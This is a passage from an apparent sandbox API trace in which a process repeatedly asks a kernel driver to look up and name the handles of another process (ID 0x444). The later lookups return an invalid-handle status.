Object=0xfffff88005233548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0093.970] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.970] PsReleaseProcessExitSynchronization () returned 0x2 [0093.970] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.970] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa8001fb0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fb0044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.970] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0093.970] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.970] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.970] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.970] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.970] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.970] PsAcquireProcessExitSynchronization () returned 0x0 [0093.970] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.970] ObReferenceObjectByHandle (in: Handle=0x8e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800344df20, HandleInformation=0x0) returned 0x0 [0093.970] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.970] PsReleaseProcessExitSynchronization () returned 0x2 [0093.970] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.970] ObQueryNameString (in: Object=0xfffffa800344df20, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.970] ObfDereferenceObject (Object=0xfffffa800344df20) returned 0x1 [0093.970] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.970] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.970] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.970] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x10c, lpOverlapped=0x0) returned 1 [0093.970] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.970] PsAcquireProcessExitSynchronization () returned 0x0 [0093.970] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.970] ObReferenceObjectByHandle (in: Handle=0x90c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020046f0, HandleInformation=0x0) returned 0x0 [0093.970] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.970] PsReleaseProcessExitSynchronization () returned 0x2 [0093.970] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.970] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.971] ObfDereferenceObject (Object=0xfffffa80020046f0) returned 0x11 [0093.971] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.971] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.971] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.971] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0093.971] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.971] PsAcquireProcessExitSynchronization () returned 0x0 [0093.971] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.971] ObReferenceObjectByHandle (in: Handle=0x91c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003b92b00, HandleInformation=0x0) returned 0x0 [0093.971] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.971] PsReleaseProcessExitSynchronization () returned 0x2 [0093.971] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.971] ObQueryNameString (in: Object=0xfffffa8003b92b00, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.971] ObfDereferenceObject (Object=0xfffffa8003b92b00) returned 0x1 [0093.971] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.971] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.971] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.971] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0093.971] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.971] PsAcquireProcessExitSynchronization () returned 0x0 [0093.971] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.971] ObReferenceObjectByHandle (in: Handle=0x9a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002b90070, HandleInformation=0x0) returned 0x0 [0093.971] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.971] PsReleaseProcessExitSynchronization () returned 0x2 [0093.971] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.971] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233508) returned 0x0 [0093.971] ObfDereferenceObject (Object=0xfffffa8002b90070) returned 0x1 [0093.971] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.971] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.971] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.971] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0093.972] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.972] PsAcquireProcessExitSynchronization () returned 0x0 [0093.972] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.972] ObReferenceObjectByHandle (in: Handle=0x9bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003bbc9c0, HandleInformation=0x0) returned 0x0 [0093.972] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.972] PsReleaseProcessExitSynchronization () returned 0x2 [0093.972] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.972] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.972] ObfDereferenceObject (Object=0xfffffa8003bbc9c0) returned 0x1 [0093.972] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.972] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.972] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.972] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0093.972] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.972] PsAcquireProcessExitSynchronization () returned 0x0 [0093.972] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.972] ObReferenceObjectByHandle (in: Handle=0x9d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003bbc870, HandleInformation=0x0) returned 0x0 [0093.972] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.972] PsReleaseProcessExitSynchronization () returned 0x2 [0093.972] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.972] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233508) returned 0x0 [0093.972] ObfDereferenceObject (Object=0xfffffa8003bbc870) returned 0x1 [0093.972] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.972] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.972] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.972] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0093.972] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.972] PsAcquireProcessExitSynchronization () returned 0x0 [0093.972] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.972] ObReferenceObjectByHandle (in: Handle=0x9f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f8d850, HandleInformation=0x0) returned 0x0 [0093.972] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.972] PsReleaseProcessExitSynchronization () returned 0x2 [0093.972] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.972] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233508) returned 0x0 [0093.972] ObfDereferenceObject (Object=0xfffffa8002f8d850) returned 0x1 [0093.973] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.973] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.973] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.973] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0093.973] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.973] PsAcquireProcessExitSynchronization () returned 0x0 [0093.973] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.973] ObReferenceObjectByHandle (in: Handle=0x9f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003590770, HandleInformation=0x0) returned 0x0 [0093.973] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.973] PsReleaseProcessExitSynchronization () returned 0x2 [0093.973] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.973] ObQueryNameString (in: Object=0xfffffa8003590770, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.973] ObfDereferenceObject (Object=0xfffffa8003590770) returned 0x11 [0093.973] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.973] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.973] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.973] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0093.973] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.973] PsAcquireProcessExitSynchronization () returned 0x0 [0093.973] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.973] ObReferenceObjectByHandle (in: Handle=0xa08, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031413d0, HandleInformation=0x0) returned 0x0 [0093.973] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.973] PsReleaseProcessExitSynchronization () returned 0x2 [0093.973] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.973] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038c97c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80038c97c4, ReturnLength=0xfffff88005233508) returned 0x0 [0093.973] ObfDereferenceObject (Object=0xfffffa80031413d0) returned 0x1 [0093.973] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.973] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.973] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.973] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0093.973] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.973] PsAcquireProcessExitSynchronization () returned 0x0 [0093.973] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.974] ObReferenceObjectByHandle (in: Handle=0xa34, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800b938480, HandleInformation=0x0) returned 0x0 [0093.974] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.974] PsReleaseProcessExitSynchronization () returned 0x2 [0093.974] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.974] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.974] ObfDereferenceObject (Object=0xfffffa800b938480) returned 0x1 [0093.974] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.974] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.974] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.974] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0093.974] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.974] PsAcquireProcessExitSynchronization () returned 0x0 [0093.974] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.974] ObReferenceObjectByHandle (in: Handle=0xa9c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003591be0, HandleInformation=0x0) returned 0x0 [0093.974] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.974] PsReleaseProcessExitSynchronization () returned 0x2 [0093.974] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.974] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001942044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001942044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.974] ObfDereferenceObject (Object=0xfffffa8003591be0) returned 0x1 [0093.974] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.974] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.974] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.974] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xaa, lpOverlapped=0x0) returned 1 [0093.974] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.974] PsAcquireProcessExitSynchronization () returned 0x0 [0093.974] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.974] ObReferenceObjectByHandle (in: Handle=0xabc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003097f20, HandleInformation=0x0) returned 0x0 [0093.974] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.974] PsReleaseProcessExitSynchronization () returned 0x2 [0093.974] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.974] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001f8a044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001f8a044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.974] ObfDereferenceObject (Object=0xfffffa8003097f20) returned 0x1 [0093.974] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.975] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.975] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.975] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0093.975] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.975] PsAcquireProcessExitSynchronization () returned 0x0 [0093.975] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.975] ObReferenceObjectByHandle (in: Handle=0x117c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0093.975] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.975] PsReleaseProcessExitSynchronization () returned 0x2 [0093.975] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.975] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.975] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.975] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.975] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0093.975] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.975] PsAcquireProcessExitSynchronization () returned 0x0 [0093.975] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.975] ObReferenceObjectByHandle (in: Handle=0x1184, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0093.975] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.975] PsReleaseProcessExitSynchronization () returned 0x2 [0093.975] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.975] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.975] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.975] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.975] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0093.975] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.975] PsAcquireProcessExitSynchronization () returned 0x0 [0093.975] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.976] ObReferenceObjectByHandle (in: Handle=0x1188, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0093.976] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.976] PsReleaseProcessExitSynchronization () returned 0x2 [0093.976] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.976] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.976] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.976] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.976] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0093.976] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.976] PsAcquireProcessExitSynchronization () returned 0x0 [0093.976] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.976] ObReferenceObjectByHandle (in: Handle=0x118c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0093.976] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.976] PsReleaseProcessExitSynchronization () returned 0x2 [0093.976] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.976] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.976] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.976] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 